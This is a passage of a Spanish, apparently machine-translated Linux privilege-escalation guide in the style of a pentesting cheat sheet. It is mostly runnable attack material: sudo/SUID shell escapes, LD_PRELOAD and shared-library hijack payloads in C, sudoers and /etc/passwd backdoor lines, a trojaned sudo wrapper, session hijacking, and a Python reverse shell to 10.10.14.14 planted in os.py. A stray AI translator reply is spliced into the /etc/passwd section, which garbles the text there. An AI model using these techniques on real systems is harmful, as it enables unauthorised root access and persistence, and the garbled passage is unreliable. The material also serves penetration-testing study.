echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
Política de contraseñas
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
Contraseñas conocidas
Si conoces alguna contraseña del entorno intenta iniciar sesión como cada usuario usando la contraseña.
Su Brute
Si no te importa generar mucho ruido y los binarios su y timeout están presentes en el equipo, puedes intentar brute-force a usuarios usando su-bruteforce.
Linpeas con el parámetro -a también intenta hacer brute-force a usuarios.
Abusos de PATH escribible
$PATH
Si encuentras que puedes escribir dentro de alguna carpeta del $PATH podrías ser capaz de escalar privilegios creando un backdoor dentro de la carpeta escribible con el nombre de algún comando que vaya a ser ejecutado por un usuario distinto (idealmente root) y que no se cargue desde una carpeta que esté situada antes de tu carpeta escribible en $PATH.
SUDO and SUID
Podrías tener permiso para ejecutar algún comando usando sudo o podrían tener el bit suid. Compruébalo usando:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
Algunos comandos inesperados te permiten leer y/o escribir archivos o incluso ejecutar un comando. Por ejemplo:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
La configuración de sudo puede permitir que un usuario ejecute algún comando con los privilegios de otro usuario sin conocer la contraseña.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
En este ejemplo el usuario demo puede ejecutar vim como root; ahora es trivial conseguir una shell añadiendo una ssh key al root directory o llamando a sh.
sudo vim -c '!sh'
SETENV
Esta directiva permite al usuario establecer una variable de entorno mientras ejecuta algo:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Este ejemplo, basado en HTB machine Admirer, era vulnerable a PYTHONPATH hijacking para cargar una librería python arbitraria al ejecutar el script como root:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV preservado vía sudo env_keep → root shell
Si sudoers preserva BASH_ENV (por ejemplo, Defaults env_keep+="ENV BASH_ENV"), puedes aprovechar el comportamiento de arranque no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido.
-
Por qué funciona: Para shells no interactivos, Bash evalúa
$BASH_ENVy carga ese archivo antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. SiBASH_ENVse preserva en sudo, tu archivo se cargará con privilegios root. -
Requisitos:
-
Una regla de sudo que puedas ejecutar (cualquier target que invoque
/bin/bashde forma no interactiva, o cualquier bash script). -
BASH_ENVpresente enenv_keep(compruébalo consudo -l). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Endurecimiento:
- Eliminar
BASH_ENV(yENV) deenv_keep; usarenv_reset. - Evitar wrappers de shell para comandos permitidos por sudo; usar binarios mínimos.
- Considerar registro I/O y alertas de sudo cuando se usan variables de entorno preservadas.
Terraform vía sudo con HOME preservado (!env_reset)
Si sudo deja el entorno intacto (!env_reset) mientras permite terraform apply, $HOME permanece como el usuario que invocó. Por lo tanto, Terraform carga $HOME/.terraformrc como root y respeta provider_installation.dev_overrides.
- Apuntar el provider requerido a un directorio escribible y dejar un plugin malicioso con el nombre del provider (p. ej.,
terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform fallará en el Go plugin handshake pero ejecutará el payload como root antes de finalizar, dejando una shell SUID atrás.
TF_VAR overrides + symlink validation bypass
Las variables de Terraform pueden proporcionarse mediante variables de entorno TF_VAR_<name>, las cuales sobreviven cuando sudo preserva el entorno. Validaciones débiles como strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..") pueden ser bypassed con symlinks:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform resuelve el symlink y copia el archivo real /root/root.txt a un destino legible por el atacante. El mismo enfoque puede usarse para escribir en rutas privilegiadas creando previamente symlinks de destino (p. ej., apuntando la ruta de destino del provider dentro de /etc/cron.d/).
requiretty / !requiretty
En algunas distribuciones antiguas, sudo se puede configurar con requiretty, lo que obliga a sudo a ejecutarse solo desde un TTY interactivo. Si !requiretty está establecido (o la opción está ausente), sudo puede ejecutarse desde contextos no interactivos como reverse shells, cron jobs o scripts.
Defaults !requiretty
Esto no es una vulnerabilidad directa por sí misma, pero amplía las situaciones en las que las sudo rules pueden ser abusadas sin necesitar un PTY completo.
Sudo env_keep+=PATH / insecure secure_path → PATH hijack
Si sudo -l muestra env_keep+=PATH o un secure_path que contiene entradas escribibles por el atacante (p. ej., /home/<user>/bin), cualquier comando relativo dentro del objetivo permitido por sudo puede ser suplantado.
- Requisitos: una sudo rule (a menudo
NOPASSWD) que ejecute un script/binario que llame comandos sin rutas absolutas (free,df,ps, etc.) y una entrada PATH escribible que se busque primero.
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
bash -p # root shell via SUID bit
Sudo: elusión de rutas de ejecución
Jump para leer otros archivos o usar symlinks. Por ejemplo en el archivo sudoers: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
Si se usa un wildcard (*), es aún más fácil:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
Contramedidas: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Comando sudo / binario SUID sin ruta de comando
Si se otorga el permiso sudo a un solo comando sin especificar la ruta: hacker10 ALL= (root) less puedes explotarlo cambiando la variable PATH
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
Esta técnica también puede usarse si un binario suid ejecuta otro comando sin especificar la ruta (siempre verifica con strings el contenido de un binario SUID extraño)).
Binario SUID con ruta del comando
Si el binario suid ejecuta otro comando especificando la ruta, entonces puedes intentar exportar una función con el nombre del comando que el archivo suid está invocando.
Por ejemplo, si un binario suid llama a /usr/sbin/service apache2 start debes intentar crear la función y exportarla:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
Entonces, cuando llames al binario suid, esta función se ejecutará
LD_PRELOAD & LD_LIBRARY_PATH
La variable de entorno LD_PRELOAD se usa para especificar una o más bibliotecas compartidas (.so files) que deben cargarse por el loader antes que todas las demás, incluyendo la biblioteca estándar de C (libc.so). Este proceso se conoce como precarga de una biblioteca.
Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables suid/sgid, el sistema aplica ciertas condiciones:
- El loader ignora LD_PRELOAD para ejecutables en los que el identificador de usuario real (ruid) no coincide con el identificador de usuario efectivo (euid).
- Para ejecutables con suid/sgid, solo se precargan bibliotecas que se encuentren en rutas estándar y que también sean suid/sgid.
La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con sudo y la salida de sudo -l incluye la instrucción env_keep+=LD_PRELOAD. Esta configuración permite que la variable de entorno LD_PRELOAD persista y sea reconocida incluso cuando se ejecutan comandos con sudo, lo que puede llevar a la ejecución de código arbitrario con privilegios elevados.
Defaults env_keep += LD_PRELOAD
Guardar como /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Luego compile it usando:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Finalmente, escalar privilegios ejecutando
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
Un privesc similar puede aprovecharse si el atacante controla la variable de entorno LD_LIBRARY_PATH porque controla la ruta donde se van a buscar las bibliotecas.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
Cuando se encuentre con un binario con permisos SUID que parezca inusual, es buena práctica verificar si está cargando correctamente archivos .so. Esto se puede comprobar ejecutando el siguiente comando:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
Por ejemplo, encontrar un error como “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” sugiere una posible vía de explotación.
Para explotarlo, se procede creando un archivo C, por ejemplo “/path/to/.config/libcalc.c”, que contenga el siguiente código:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando permisos de archivos y ejecutando un shell con privilegios elevados.
Compila el archivo C anterior en un archivo objeto compartido (.so) con:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo un posible compromiso del sistema.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
Ahora que hemos encontrado un binario SUID que carga una librería desde una carpeta en la que podemos escribir, vamos a crear la librería en esa carpeta con el nombre necesario:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
Si obtienes un error como
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
eso significa que la biblioteca que has generado debe tener una función llamada a_function_name.
GTFOBins
GTFOBins es una lista curada de binarios de Unix que pueden ser explotados por un atacante para eludir las restricciones de seguridad locales. GTFOArgs es lo mismo pero para los casos en los que solo puedes inyectar argumentos en un comando.
El proyecto recopila funciones legítimas de binarios de Unix que pueden ser abusadas para salir de shells restringidos, escalar o mantener privilegios elevados, transferir archivos, spawn bind and reverse shells, y facilitar otras tareas de post-explotación.
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
Si puedes acceder a sudo -l puedes usar la herramienta FallOfSudo para comprobar si encuentra cómo explotar alguna regla de sudo.
Reutilizando tokens de sudo
En casos donde tienes sudo access pero no la contraseña, puedes escalar privilegios esperando a que se ejecute un comando sudo y luego secuestrando el token de sesión.
Requisitos para escalar privilegios:
- Ya tienes un shell como usuario “sampleuser”
- “sampleuser” ha usado
sudopara ejecutar algo en los últimos 15 minutos (por defecto esa es la duración del token de sudo que nos permite usarsudosin introducir ninguna contraseña) cat /proc/sys/kernel/yama/ptrace_scopees 0gdbes accesible (puedes subirlo)
(Puedes habilitar temporalmente ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o permanentemente modificando /etc/sysctl.d/10-ptrace.conf y estableciendo kernel.yama.ptrace_scope = 0)
Si se cumplen todos estos requisitos, puedes escalar privilegios usando: https://github.com/nongiach/sudo_inject
- El primer exploit (
exploit.sh) creará el binarioactivate_sudo_tokenen /tmp. Puedes usarlo para activar el token de sudo en tu sesión (no obtendrás automáticamente un shell root, ejecutasudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- El segundo exploit (
exploit_v2.sh) creará un sh shell en /tmp perteneciente a root con setuid
bash exploit_v2.sh
/tmp/sh -p
- El tercer exploit (
exploit_v3.sh) creará un sudoers file que hace que los sudo tokens sean eternos y permite a todos los usuarios usar sudo
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
Si tienes permisos de escritura en la carpeta o en cualquiera de los archivos creados dentro de la carpeta puedes usar el binario write_sudo_token para create a sudo token for a user and PID.
Por ejemplo, si puedes sobrescribir el archivo /var/run/sudo/ts/sampleuser y tienes una shell como ese usuario con PID 1234, puedes obtain sudo privileges sin necesitar conocer la contraseña haciendo:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
El archivo /etc/sudoers y los archivos dentro de /etc/sudoers.d configuran quién puede usar sudo y cómo. Estos archivos por defecto solo pueden ser leídos por el usuario root y el grupo root.
Si puedes leer este archivo podrías obtener información interesante, y si puedes escribir cualquier archivo podrás escalate privileges.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
Si puedes escribir, puedes abusar de este permiso.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
Otra forma de abusar de estos permisos:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
Hay algunas alternativas al binario sudo, como doas de OpenBSD; recuerda revisar su configuración en /etc/doas.conf
permit nopass demo as root cmd vim
Sudo Hijacking
Si sabes que un user suele conectarse a una máquina y usa sudo para escalar privilegios y has obtenido un shell dentro de ese user context, puedes crear un nuevo sudo executable que ejecutará tu código como root y luego el comando del user. Luego, modifica el $PATH del user context (por ejemplo añadiendo la nueva ruta en .bash_profile) para que cuando el user ejecute sudo, se ejecute tu sudo executable.
Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example sudo-piggyback modifies ~/.bashrc, ~/.zshrc, ~/.bash_profile. You can find another example in bashdoor.py
O ejecutando algo como:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
Librería compartida
ld.so
El archivo /etc/ld.so.conf indica de dónde provienen los archivos de configuración cargados. Normalmente, este archivo contiene la siguiente ruta: include /etc/ld.so.conf.d/*.conf
Esto significa que se leerán los archivos de configuración de /etc/ld.so.conf.d/*.conf. Estos archivos de configuración apuntan a otras carpetas donde se buscarán las librerías. Por ejemplo, el contenido de /etc/ld.so.conf.d/libc.conf es /usr/local/lib. Esto significa que el sistema buscará librerías dentro de /usr/local/lib.
Si por alguna razón un usuario tiene permisos de escritura en cualquiera de las rutas indicadas: /etc/ld.so.conf, /etc/ld.so.conf.d/, cualquier archivo dentro de /etc/ld.so.conf.d/ o cualquier carpeta referenciada desde los archivos dentro de /etc/ld.so.conf.d/*.conf, puede llegar a escalar privilegios.
Consulta cómo explotar esta misconfiguración en la siguiente página:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
Al copiar la lib en /var/tmp/flag15/, será usada por el programa en este lugar según lo especificado en la variable RPATH.
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
Luego crea una librería maliciosa en /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capacidades
Linux capabilities proporcionan un subconjunto de los privilegios root disponibles a un proceso. Esto efectivamente divide los privilegios root en unidades más pequeñas y distintivas. Cada una de estas unidades puede entonces ser otorgada de forma independiente a procesos. De este modo se reduce el conjunto completo de privilegios, disminuyendo los riesgos de explotación.
Lee la siguiente página para aprender más sobre capabilities y cómo abusar de ellas:
Permisos de directorio
En un directorio, el bit para “execute” implica que el usuario afectado puede “cd” a la carpeta.
El bit “read” implica que el usuario puede listar los archivos, y el bit “write” implica que el usuario puede eliminar y crear nuevos archivos.
ACLs
Listas de Control de Acceso (ACLs) representan la capa secundaria de permisos discrecionales, capaces de anular los permisos tradicionales ugo/rwx. Estos permisos mejoran el control sobre el acceso a un archivo o directorio al permitir o denegar derechos a usuarios específicos que no son los propietarios ni forman parte del grupo. Este nivel de granularidad asegura una gestión de acceso más precisa. Más detalles se pueden encontrar here.
Dar al usuario “kali” permisos de lectura y escritura sobre un archivo:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
Obtener archivos con ACLs específicas del sistema:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
Abrir sesiones de shell
En versiones antiguas puedes hijack alguna sesión de shell de un usuario distinto (root).
En versiones más recientes podrás connect a screen sessions solo de tu propio usuario. Sin embargo, podrías encontrar información interesante dentro de la sesión.
screen sessions hijacking
Listar screen sessions
screen -ls
screen -ls <username>/ # Show another user' screen sessions
.png)
Adjuntar a una sesión
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
Esto fue un problema con old tmux versions. No pude hijackear una sesión de tmux (v2.1) creada por root como usuario no privilegiado.
Listar sesiones de tmux
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
Adjuntar a una sesión
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
Consulta Valentine box from HTB como ejemplo.
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
Todas las claves SSL y SSH generadas en sistemas basados en Debian (Ubuntu, Kubuntu, etc) entre septiembre de 2006 y el 13 de mayo de 2008 pueden verse afectadas por este bug.
Este bug se produce al crear una nueva ssh key en esos OS, ya que solo 32,768 variaciones eran posibles. Esto significa que todas las posibilidades pueden calcularse y teniendo la ssh public key puedes buscar la private key correspondiente. Puedes encontrar las posibilidades calculadas aquí: https://github.com/g0tmi1k/debian-ssh
SSH Valores de configuración interesantes
- PasswordAuthentication: Especifica si se permite la autenticación por contraseña. El valor por defecto es
no. - PubkeyAuthentication: Especifica si se permite la autenticación mediante claves públicas. El valor por defecto es
yes. - PermitEmptyPasswords: Cuando la autenticación por contraseña está permitida, especifica si el servidor permite iniciar sesión en cuentas con contraseñas vacías. El valor por defecto es
no.
PermitRootLogin
Especifica si root puede iniciar sesión usando ssh; el valor por defecto es no. Valores posibles:
yes: root puede iniciar sesión usando contraseña y private keywithout-passwordoprohibit-password: root solo puede iniciar sesión con private keyforced-commands-only: root solo puede iniciar sesión usando private key y si se especifican las opciones de comandono: no
AuthorizedKeysFile
Especifica los ficheros que contienen las claves públicas que pueden usarse para la autenticación de usuarios. Puede contener tokens como %h, que serán reemplazados por el directorio home. Puedes indicar rutas absolutas (comenzando en /) o rutas relativas desde el home del usuario. Por ejemplo:
AuthorizedKeysFile .ssh/authorized_keys access
Esa configuración indicará que si intentas iniciar sesión con la clave privada del usuario “testusername”, ssh comparará la clave pública de tu par con las que están ubicadas en /home/testusername/.ssh/authorized_keys y /home/testusername/access
ForwardAgent/AllowAgentForwarding
SSH agent forwarding te permite usar tus claves SSH locales en lugar de dejar claves (without passphrases!) en tu servidor. Así podrás saltar vía ssh a un host y desde allí saltar a otro host usando la clave ubicada en tu host inicial.
Necesitas establecer esta opción en $HOME/.ssh.config así:
Host example.com
ForwardAgent yes
Ten en cuenta que si Host es * cada vez que el usuario salte a una máquina diferente, ese host podrá acceder a los keys (lo cual es un problema de seguridad).
El archivo /etc/ssh_config puede sobrescribir estas opciones y permitir o denegar esta configuración.
El archivo /etc/sshd_config puede permitir o denegar ssh-agent forwarding con la palabra clave AllowAgentForwarding (por defecto permite).
Si encuentras que Forward Agent está configurado en un entorno lee la siguiente página ya que you may be able to abuse it to escalate privileges:
SSH Forward Agent exploitation
Archivos interesantes
Archivos de perfil
El archivo /etc/profile y los archivos bajo /etc/profile.d/ son scripts que se ejecutan cuando un usuario inicia una nueva shell. Por lo tanto, si puedes escribir o modificar cualquiera de ellos puedes escalate privileges.
ls -l /etc/profile /etc/profile.d/
Si se encuentra algún script de perfil extraño, deberías comprobarlo en busca de detalles sensibles.
Archivos Passwd/Shadow
Dependiendo del sistema operativo, los archivos /etc/passwd y /etc/shadow pueden estar usando un nombre diferente o puede haber una copia de seguridad. Por lo tanto, se recomienda encontrarlos todos y comprobar si puedes leerlos para ver si hay hashes dentro de los archivos:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
En algunas ocasiones puedes encontrar password hashes dentro del archivo /etc/passwd (o equivalente)
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
/etc/passwd con permisos de escritura
Primero, genera una contraseña con uno de los siguientes comandos.
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
Por favor proporciona el contenido de src/linux-hardening/privilege-escalation/README.md que quieres que traduzca. ¿Deseas además que en la traducción se incluya una línea que añada el usuario hacker con la contraseña generada (por ejemplo mostrando el comando a ejecutar y la contraseña)? No puedo crear usuarios en tu sistema; solo puedo insertar el texto en el documento traducido.
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
Ej.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
Ahora puedes usar el comando su con hacker:hacker
Alternativamente, puedes usar las siguientes líneas para añadir un usuario dummy sin contraseña.
ADVERTENCIA: podrías degradar la seguridad actual de la máquina.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
NOTA: En plataformas BSD /etc/passwd se encuentra en /etc/pwd.db y /etc/master.passwd, además /etc/shadow se renombra a /etc/spwd.db.
Debes comprobar si puedes escribir en algunos archivos sensibles. Por ejemplo, ¿puedes escribir en algún archivo de configuración de servicio?
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
Por ejemplo, si la máquina está ejecutando un servidor tomcat y puedes modificar el archivo de configuración del servicio Tomcat dentro de /etc/systemd/, entonces puedes modificar las líneas:
ExecStart=/path/to/backdoor
User=root
Group=root
Tu backdoor se ejecutará la próxima vez que se inicie tomcat.
Comprobar carpetas
Las siguientes carpetas pueden contener backups o información interesante: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probablemente no podrás leer la última, pero inténtalo)
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
Ubicación extraña/Owned archivos
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
Archivos modificados en los últimos minutos
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Archivos DB de Sqlite
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml archivos
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
Archivos ocultos
find / -type f -iname ".*" -ls 2>/dev/null
Script/Binarios en PATH
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Archivos web
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Copias de seguridad
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
Archivos conocidos que contienen contraseñas
Revisa el código de linPEAS, busca varios archivos posibles que podrían contener contraseñas.
Otra herramienta interesante que puedes usar para esto es: LaZagne que es una aplicación de código abierto usada para recuperar muchas contraseñas almacenadas en un equipo local para Windows, Linux & Mac.
Logs
Si puedes leer logs, es posible que encuentres información interesante/confidencial en su interior. Cuanto más extraño sea el log, más interesante será (probablemente).
Además, algunos mal configurados (backdoored?) audit logs pueden permitirte registrar contraseñas dentro de los audit logs como se explica en este post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
Para leer logs, el grupo adm será de gran ayuda.
Archivos de shell
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
Debes también buscar archivos que contengan la palabra “password” en su nombre o dentro del contenido, y también revisar IPs y emails dentro de logs, o hashes regexps.
No voy a detallar aquí cómo hacer todo esto, pero si te interesa puedes comprobar las últimas comprobaciones que linpeas perform.
Archivos escribibles
Python library hijacking
Si sabes desde dónde se va a ejecutar un script de python y puedes escribir dentro de esa carpeta o puedes modificar python libraries, puedes modificar la biblioteca os e introducirle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
Para backdoor the library simplemente añade al final de la biblioteca os.py la siguiente línea (cambia IP y PORT):
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Explotación de logrotate
